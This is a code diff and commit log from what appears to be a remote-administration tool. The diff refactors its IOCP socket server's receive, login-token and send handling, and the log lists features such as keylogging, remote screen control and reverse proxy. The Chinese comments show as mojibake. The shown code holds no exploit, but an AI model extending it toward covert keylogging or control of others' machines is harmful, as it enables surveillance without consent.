-#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress2(m_Cctx, dest, *(destLen), source, sourceLen)
-#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen)
-#else
-#define Mcompress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
-#define Muncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
-#endif
-#endif
-
 // <20><><EFBFBD><EFBFBD> socket <20><>ȡ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD>IP<49><50>ַ.
 std::string GetPeerName(SOCKET sock) {
 	sockaddr_in  ClientAddr = {};
@@ -178,6 +149,7 @@ IOCPServer::~IOCPServer(void)
 // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>0<EFBFBD><30><EFBFBD><EFBFBD><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ.
 UINT IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort)
 {
+	m_nPort = uPort;
 	m_NotifyProc = NotifyProc;
 	m_OfflineProc = OffProc;
 	m_hKillEvent = CreateEvent(NULL,FALSE,FALSE,NULL);
@@ -306,7 +278,6 @@ BOOL IOCPServer::InitializeIOCP(VOID)
 	m_ulThreadPoolMax  = SystemInfo.dwNumberOfProcessors * 2;
 	m_ulCPULowThreadsHold  = 10; 
 	m_ulCPUHighThreadsHold = 75; 
-	m_cpu.Init();

 	ULONG ulWorkThreadCount = m_ulThreadPoolMax;

@@ -476,13 +447,13 @@ BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT  ContextObject, DWORD dwTr
 	return TRUE;
 }

-BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans)
-{
+// May be this function should be a member of `CONTEXT_OBJECT`.
+BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc) {
+	BOOL ret = 1;
 	try
 	{
 		if (dwTrans == 0)    //<2F>Է<EFBFBD><D4B7>ر<EFBFBD><D8B1><EFBFBD><EFBFBD>׽<EFBFBD><D7BD><EFBFBD>
 		{
-			RemoveStaleContext(ContextObject);
 			return FALSE;
 		}
 		//<2F><><EFBFBD><EFBFBD><EFBFBD>յ<EFBFBD><D5B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD>wsabuff    8192
@@ -506,7 +477,8 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans
 				ULONG ulOriginalLength = 0;
 				PBYTE CompressedBuffer = ContextObject->ReadBuffer(ulCompressedLength, ulOriginalLength);
 				ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulCompressedLength);
-				m_NotifyProc(ContextObject);
+				if (m_NotifyProc(ContextObject))
+					ret = CompressedBuffer[0] == TOKEN_LOGIN ? 999 : 1;
 				break;
 			}
 			
@@ -527,7 +499,8 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans
 					ContextObject->InDeCompressedBuffer.ClearBuffer();
 					ContextObject->Decode(CompressedBuffer, ulOriginalLength);
 					ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulOriginalLength);
-					m_NotifyProc(ContextObject);
+					if (m_NotifyProc(ContextObject))
+						ret = CompressedBuffer[0] == TOKEN_LOGIN ? 999 : 1;
 					SAFE_DELETE_ARRAY(CompressedBuffer);
 					continue;
 				}
@@ -541,7 +514,8 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans
 					ContextObject->InDeCompressedBuffer.ClearBuffer();
 					ContextObject->Decode(DeCompressedBuffer, ulOriginalLength);
 					ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
-					m_NotifyProc(ContextObject);  //֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD>
+					if (m_NotifyProc(ContextObject))
+						ret = DeCompressedBuffer[0] == TOKEN_LOGIN ? 999 : 1;
 				}else if (usingZstd){
 					// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>zlib<69><62>ѹ<EFBFBD><D1B9>
 					if (Z_OK == uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength)) {
@@ -549,7 +523,8 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans
 						ContextObject->InDeCompressedBuffer.ClearBuffer();
 						ContextObject->Decode(DeCompressedBuffer, ulOriginalLength);
 						ContextObject->InDeCompressedBuffer.WriteBuffer(DeCompressedBuffer, ulOriginalLength);
-						m_NotifyProc(ContextObject);
+						if (m_NotifyProc(ContextObject))
+							ret = DeCompressedBuffer[0] == TOKEN_LOGIN ? 999 : 1;
 					} else {
 						zlibFailed = true;
 						ContextObject->CompressMethod = COMPRESS_UNKNOWN;
@@ -573,19 +548,30 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans
 		ContextObject->InCompressedBuffer.ClearBuffer();
 		ContextObject->InDeCompressedBuffer.ClearBuffer();
 	}
+	return ret;
+}
+
+BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT  ContextObject, DWORD dwTrans)
+{
+	if (FALSE == ParseReceivedData(ContextObject, dwTrans, m_NotifyProc)) {
+		RemoveStaleContext(ContextObject);
+		return FALSE;
+	}
+
 	PostRecv(ContextObject); //Ͷ<><CDB6><EFBFBD>µĽ<C2B5><C4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD>

 	return TRUE;
 }

-VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength)
-{
-	assert (ContextObject);
+BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength) {
+	assert(ContextObject);
 	// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
-	if (ulOriginalLength < 100 && szBuffer[0] != COMMAND_SCREEN_CONTROL && szBuffer[0] != CMD_HEARTBEAT_ACK) {
+	unsigned cmd = szBuffer[0];
+	if (ulOriginalLength < 100 && cmd != COMMAND_SCREEN_CONTROL && cmd != CMD_HEARTBEAT_ACK &&
+		cmd != CMD_DRAW_POINT && cmd != CMD_MOVEWINDOW && cmd != CMD_SET_SIZE) {
 		char buf[100] = { 0 };
 		if (ulOriginalLength == 1){
-			sprintf_s(buf, "command %d", int(szBuffer[0]));
+			sprintf_s(buf, "command %d", cmd);
 		}
 		else {
 			memcpy(buf, szBuffer, ulOriginalLength);
@@ -596,10 +582,10 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
 	{
 		do
 		{
-			if (ulOriginalLength <= 0) return;
+			if (ulOriginalLength <= 0) return FALSE;
 			if (ContextObject->CompressMethod == COMPRESS_UNKNOWN) {
 				Mprintf("[ERROR] UNKNOWN compress method \n");
-				return;
+				return FALSE;
 			}
 			else if (ContextObject->CompressMethod == COMPRESS_NONE) {
 				Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf();
@@ -625,7 +611,7 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
 			{
 				Mprintf("[ERROR] compress failed \n");
 				if (CompressedBuffer != buf) delete [] CompressedBuffer;
-				return;
+				return FALSE;
 			}

 			ulCompressedLength =  usingZstd ? iRet : ulCompressedLength;
@@ -634,6 +620,17 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
 			if (CompressedBuffer != buf) delete [] CompressedBuffer;
 		}while (false);

+		return TRUE;
+	}
+	catch (...) {
+		Mprintf("[ERROR] OnClientPreSending catch an error \n");
+		return FALSE;
+	}
+}
+
+VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength)
+{
+	if (WriteContextData(ContextObject, szBuffer, ulOriginalLength)){
 		OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite);
 		BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (ULONG_PTR)ContextObject, &OverlappedPlus->m_ol);
 		if ( (!bOk && GetLastError() != ERROR_IO_PENDING) )  //<2F><><EFBFBD><EFBFBD>Ͷ<EFBFBD><CDB6>ʧ<EFBFBD><CAA7>
@@ -643,8 +640,6 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
 			RemoveStaleContext(ContextObject);
 			SAFE_DELETE(OverlappedPlus);
 		}
-	}catch(...){
-		Mprintf("[ERROR] OnClientPreSending catch an error \n");
 	}
 }

@@ -838,7 +833,7 @@ PCONTEXT_OBJECT IOCPServer::AllocateContext(SOCKET s)

 	if (ContextObject != NULL)
 	{
-		ContextObject->InitMember(s);
+		ContextObject->InitMember(s, this);
 	}

 	return ContextObject;
--- a/Show More
+++ b/Show More
Author	SHA1	Message	Date
yuanyuanxiang	522e083d97	Release v1.1.2	2025-07-07 21:28:45 +02:00
yuanyuanxiang	06d63dd990	feature: Support drawing board to add text	2025-07-05 22:06:34 +02:00
yuanyuanxiang	65cb4b23d5	#145 Support remote drawing board	2025-07-05 16:33:23 +02:00
yuanyuanxiang	7f5b409c5c	fix: Memory leak after delete client #143	2025-07-03 22:59:31 +02:00
yuanyuanxiang	64bebb1b86	feature: Add client protocol option TCP/UDP	2025-07-02 22:35:19 +02:00
yuanyuanxiang	848f4089bb	feature: Support client connections over UDP	2025-07-01 21:57:56 +02:00
yuanyuanxiang	763b4f6f25	feature: Support listening on multiple ports simultaneously	2025-06-30 22:05:06 +02:00
yuanyuanxiang	3e5d45df6b	layout: Refactor the socket server code	2025-06-29 22:38:41 +02:00
yuanyuanxiang	017a8c8fa2	layout: Reorganize TCP client/server code	2025-06-29 20:25:39 +02:00
yuanyuanxiang	4ca2b45242	Improve: Remove redundant code for reading the registry	2025-06-29 10:27:11 +02:00
yuanyuanxiang	aa34b64995	fix: Prevent crash when closing window during background data processing	2025-06-28 21:52:32 +02:00
yuanyuanxiang	c59232d179	Improve: Reduce master program redundant code	2025-06-28 20:05:45 +02:00
yuanyuanxiang	44f28defa2	Plugin: Add another file management module	2025-06-28 16:46:21 +02:00
yuanyuanxiang	1d2ac9d241	fix: Move jsoncpp to `common` folder	2025-06-28 16:46:21 +02:00
yuanyuanxiang	b738de0d5f	Add a menu redirects to the authorization guide page	2025-06-28 11:34:23 +02:00
yuanyuanxiang	9aa5d589c4	fix: Showing wrong IP while using `Reverse Proxy`	2025-06-28 11:34:23 +02:00
yuanyuanxiang	659f820fd1	fix: Memory leak when release `CMachineDlg` object	2025-06-28 11:34:23 +02:00
yuanyuanxiang	2e1a5156e9	Security: Improve the authorization of plugins	2025-06-27 22:33:00 +02:00
yuanyuanxiang	246fb01bf5	Fix the problem with the keylogging feature	2025-06-25 21:18:30 +02:00
yuanyuanxiang	371f359541	Clean up unused project files	2025-06-22 12:31:22 +02:00